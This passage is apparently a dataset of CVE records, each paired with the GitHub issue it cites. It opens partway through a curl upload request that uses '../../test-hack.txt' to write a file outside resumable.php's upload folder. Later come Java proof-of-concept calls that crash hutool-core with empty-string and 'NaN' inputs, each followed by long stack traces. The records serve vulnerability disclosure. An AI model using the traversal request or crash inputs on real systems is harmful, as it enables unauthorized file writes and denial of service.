name="resumableRelativePath"\r\n\r\n../../test-hack.txt\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableTotalChunks"\r\n\r\n1\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="file"; filename="../../test-hack.txt"\r\nContent-Type: application/octet-stream\r\n\r\ntestok\r\n------WebKitFormBoundaryBAX4owzrRwdmveis--\r\n' \
--compressed
```
The file will be created at ../../test-hack.txt relative to the upload path.
NOTE: it seems like it is not possible to overwrite files after version 0.1.4 because of (https://github.com/dilab/resumable.php/pull/27)
Affected repos: https://github.com/search?q=%22%24filename+.+%27.%27+.+str_pad%22&type=code
| Security vulnerability - arbitrary file upload anywhere in the file system | https://api.github.com/repos/dilab/resumable.php/issues/34/comments | 7 | 2023-12-07T15:31:30Z | 2023-12-26T23:42:39Z | https://github.com/dilab/resumable.php/issues/34 | 2,031,007,359 | 34 | 5,857 |
CVE-2023-52096 | 2023-12-26T23:15:07.947 | SteVe Community ocpp-jaxb before 0.0.8 generates invalid timestamps such as ones with month 00 in certain situations (such as when an application receives a StartTransaction Open Charge Point Protocol message with a timestamp parameter of 1000000). This may lead to a SQL exception in applications, and may undermine the integrity of transaction records. | {
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"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
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] | github.com | [
"steve-community",
"ocpp-jaxb"
] | The default approach we use causes invalid timestamp values: https://github.com/steve-community/steve/issues/1292
We need a mechanism that closely follows XSD:dateTime and ISO 8601, but also respects some of the flexibilities: optional fractions, optional offset/timezone. | Use a better fitting DateTimeFormatter | https://api.github.com/repos/steve-community/ocpp-jaxb/issues/13/comments | 0 | 2023-12-03T11:22:17Z | 2023-12-03T11:28:04Z | https://github.com/steve-community/ocpp-jaxb/issues/13 | 2,022,476,118 | 13 | 5,858 |
CVE-2023-52096 | 2023-12-26T23:15:07.947 | SteVe Community ocpp-jaxb before 0.0.8 generates invalid timestamps such as ones with month 00 in certain situations (such as when an application receives a StartTransaction Open Charge Point Protocol message with a timestamp parameter of 1000000). This may lead to a SQL exception in applications, and may undermine the integrity of transaction records. | {
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"Exploit",
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"steve-community",
"steve"
] | #### Checklist
- [x] I checked other issues already, but found no answer/solution
- [x] I checked the documentation and wiki, but found no answer/solution
- [ ] I am running the latest version and the issue still occurs
- [x] I am sure that this issue is about SteVe (and not about the charging station software or something unrelated to SteVe)
#### Specifications
```
SteVe Version : 3.6.0
Operating system : Ubuntu 22.04.1
JDK : openjdk version "11.0.20.1"
Database : version 1.0.3
```
## Description
When sending a StartTransaction OCPP message with the `timestamp` parameter set to `1000000`, the server incorrectly stores the `start_timestamp` in the database as `0000-00-00 00:00:00.000000`. This leads to an SQL exception when the system tries to retrieve the transaction data.
## Steps to Reproduce
1. Send a StartTransaction OCPP message with `timestamp` set to `1000000`.
2. Observe the `start_timestamp` in the database; note that it is stored as `0000-00-00 00:00:00.000000`.
3. Navigate to the web interface to view the transaction data.
4. Encounter the SQL exception error as shown in the attached screenshot.
## Expected Behavior
The server should handle the `timestamp` value properly by storing a valid timestamp or rejecting the message if the timestamp is invalid.
## Actual Behavior
The server is storing an invalid timestamp which causes an SQL exception when attempting to read the transaction data, as seen in the error message: `Error while reading field: 'stevedb'.'transaction'.'start_timestamp'`.
## Supporting Material
 | Inserting Invalid Timestamp Results in '0000-00-00 00:00:00.000000' and Causes SQL Exception | https://api.github.com/repos/steve-community/steve/issues/1292/comments | 2 | 2023-11-07T19:23:52Z | 2023-12-03T11:43:54Z | https://github.com/steve-community/steve/issues/1292 | 1,982,068,484 | 1,292 | 5,859 |
CVE-2023-51075 | 2023-12-27T21:15:08.300 | hutool-core v5.8.23 was discovered to contain an infinite loop in the StrSplitter.splitByRegex function. This vulnerability allows attackers to cause a Denial of Service (DoS) via manipulation of the first two parameters. | {
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"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
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"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
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"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/dromara/hutool/issues/3421"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
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"Third Party Advisory"
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"835"
] | 835 | https://github.com/dromara/hutool/issues/3421 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"dromara",
"hutool"
] | ### 版本情况
JDK版本： openjdk_8_201
hutool-core版本： 5.8.23
### 问题描述（包括截图）
在使用StrSplitter.splitByRegex函数时，如果前两个参数为“”，无论后两个参数如何设置，执行程序会进入死循环，最终都会导致程序崩溃（OOM or StackOverFlow）。
1. 复现代码
```java
import org.junit.Test;
import cn.hutool.core.text.*;
import java.util.List;
public class StrSplitterFuzzerSplitByRegex {
// OOM or StackOverFlow
@Test
public void splitByRegexFuzzerTest() {
try {
List<String> result = StrSplitter.splitByRegex("", "", 0, false, true);
} catch (Exception e) {
}
}
}
```
2. 堆栈信息
a. StrSplitter.splitByRegex("", "", 0, false, false)
```
java.lang.OutOfMemoryError: Java heap space
at java.base/java.util.Arrays.copyOf(Arrays.java:3689)
at java.base/java.util.ArrayList.grow(ArrayList.java:238)
at java.base/java.util.ArrayList.grow(ArrayList.java:243)
at java.base/java.util.ArrayList.add(ArrayList.java:486)
at java.base/java.util.ArrayList.add(ArrayList.java:499)
at cn.hutool.core.text.split.SplitIter.toList(SplitIter.java:146)
at cn.hutool.core.text.split.SplitIter.toList(SplitIter.java:128)
at cn.hutool.core.text.StrSplitter.split(StrSplitter.java:402)
at cn.hutool.core.text.StrSplitter.splitByRegex(StrSplitter.java:382)
at PoC.hutool.core.StrSplitterFuzzerSplitByRegex.splitByRegexFuzzerTest(StrSplitterFuzzerSplitByRegex.java:13)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:566)
at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:59)
at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12)
at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:56)
at org.junit.internal.runners.statements.InvokeMethod.evaluate(InvokeMethod.java:17)
at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306)
at org.junit.runners.BlockJUnit4ClassRunner$1.evaluate(BlockJUnit4ClassRunner.java:100)
at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:366)
at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:103)
at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:63)
at org.junit.runners.ParentRunner$4.run(ParentRunner.java:331)
at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:79)
at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:329)
at org.junit.runners.ParentRunner.access$100(ParentRunner.java:66)
at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:293)
at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306)
at org.junit.runners.ParentRunner.run(ParentRunner.java:413)
at org.junit.runner.JUnitCore.run(JUnitCore.java:137)
at com.intellij.junit4.JUnit4IdeaTestRunner.startRunnerWithArgs(JUnit4IdeaTestRunner.java:69)
```
b. StrSplitter.splitByRegex("", "", 0, false, true)
```
java.lang.StackOverflowError
at java.base/java.util.regex.Pattern$Start.match(Pattern.java:3619)
at java.base/java.util.regex.Matcher.search(Matcher.java:1729)
at java.base/java.util.regex.Matcher.find(Matcher.java:773)
at cn.hutool.core.text.finder.PatternFinder.start(PatternFinder.java:51)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:74)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
at cn.hutool.core.text.split.SplitIter.computeNext(SplitIter.java:95)
``` | StrSplitter.splitByRegex函数使用过程中出现OOM or StackOverFlow | https://api.github.com/repos/chinabugotech/hutool/issues/3421/comments | 1 | 2023-12-11T12:24:53Z | 2023-12-11T20:29:51Z | https://github.com/chinabugotech/hutool/issues/3421 | 2,035,564,943 | 3,421 | 5,860 |
CVE-2023-51080 | 2023-12-27T21:15:08.397 | The NumberUtil.toBigDecimal method in hutool-core v5.8.23 was discovered to contain a stack overflow. | {
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"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/dromara/hutool/issues/3423"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/dromara/hutool/issues/3423"
}
] | [
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] | 787 | https://github.com/dromara/hutool/issues/3423 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"dromara",
"hutool"
] | ### 版本情况
JDK版本： openjdk_8_201
hutool-core： 5.8.23（请确保最新尝试是否还有问题）
### 问题描述（包括截图）
在hutool-core的5.8.23版本中，调用NumberUtil.toBigDecimal方法时，如果入参为“NaN”，程序会崩溃，报StackOverflowError
1. 复现代码
```java
import org.junit.Test;
import cn.hutool.core.util.*;
import java.math.BigDecimal;
public class NumberUtilFuzzerToBigDecimal {
@Test
public void toBigDecimalFuzzerTest() {
try {
BigDecimal result = NumberUtil.toBigDecimal("NaN");
} catch (Exception e) {
}
}
}
```
2. 堆栈信息
```
java.lang.StackOverflowError
at java.base/sun.util.locale.provider.LocaleResources.getDecimalFormatSymbolsData(LocaleResources.java:172)
at java.base/java.text.DecimalFormatSymbols.initialize(DecimalFormatSymbols.java:628)
at java.base/java.text.DecimalFormatSymbols.<init>(DecimalFormatSymbols.java:113)
at java.base/sun.util.locale.provider.DecimalFormatSymbolsProviderImpl.getInstance(DecimalFormatSymbolsProviderImpl.java:85)
at java.base/java.text.DecimalFormatSymbols.getInstance(DecimalFormatSymbols.java:180)
at java.base/sun.util.locale.provider.NumberFormatProviderImpl.getInstance(NumberFormatProviderImpl.java:183)
at java.base/sun.util.locale.provider.NumberFormatProviderImpl.getNumberInstance(NumberFormatProviderImpl.java:149)
at java.base/java.text.NumberFormat.getInstance(NumberFormat.java:921)
at java.base/java.text.NumberFormat.getInstance(NumberFormat.java:907)
at java.base/java.text.NumberFormat.getInstance(NumberFormat.java:475)
at cn.hutool.core.util.NumberUtil.parseNumber(NumberUtil.java:2686)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2227)
at cn.hutool.core.util.NumberUtil.toBigDecimal(NumberUtil.java:2250)
...
```
| NumberUtil.toBigDecimal方法报StackOverflowError | https://api.github.com/repos/chinabugotech/hutool/issues/3423/comments | 2 | 2023-12-13T06:23:42Z | 2024-01-11T02:39:14Z | https://github.com/chinabugotech/hutool/issues/3423 | 2,039,038,848 | 3,423 | 5,861 |
CVE-2023-51084 | 2023-12-27T21:15:08.450 | hyavijava v6.0.07.1 was discovered to contain a stack overflow via the ResultConverter.convert2Xml method. | {
"cvssMetricV2": null,
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"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/PoppingSnack/VulReport/issues/12"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/PoppingSnack/VulReport/issues/12"
}
] | [
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] | [
"787"
] | 787 | https://github.com/PoppingSnack/VulReport/issues/12 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"PoppingSnack",
"VulReport"
] | ## Description
An StackOverflowError occurs when I execute the ResultConverter.convert2Xml method in hyavijava v6.0.07.1.
## Error Log
```
java.lang.StackOverflowError
at java.base/java.lang.StringUTF16.checkBoundsOffCount(StringUTF16.java:1482)
at java.base/java.lang.StringUTF16.inflate(StringUTF16.java:1308)
at java.base/java.lang.StringLatin1.inflate(StringLatin1.java:734)
at java.base/java.lang.AbstractStringBuilder.inflate(AbstractStringBuilder.java:229)
at java.base/java.lang.AbstractStringBuilder.putStringAt(AbstractStringBuilder.java:1665)
at java.base/java.lang.AbstractStringBuilder.append(AbstractStringBuilder.java:539)
at java.base/java.lang.StringBuilder.append(StringBuilder.java:179)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:82)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
at com.vmware.vim.rest.ResultConverter.convertTable(ResultConverter.java:84)
at com.vmware.vim.rest.ResultConverter.convertTdValue(ResultConverter.java:105)
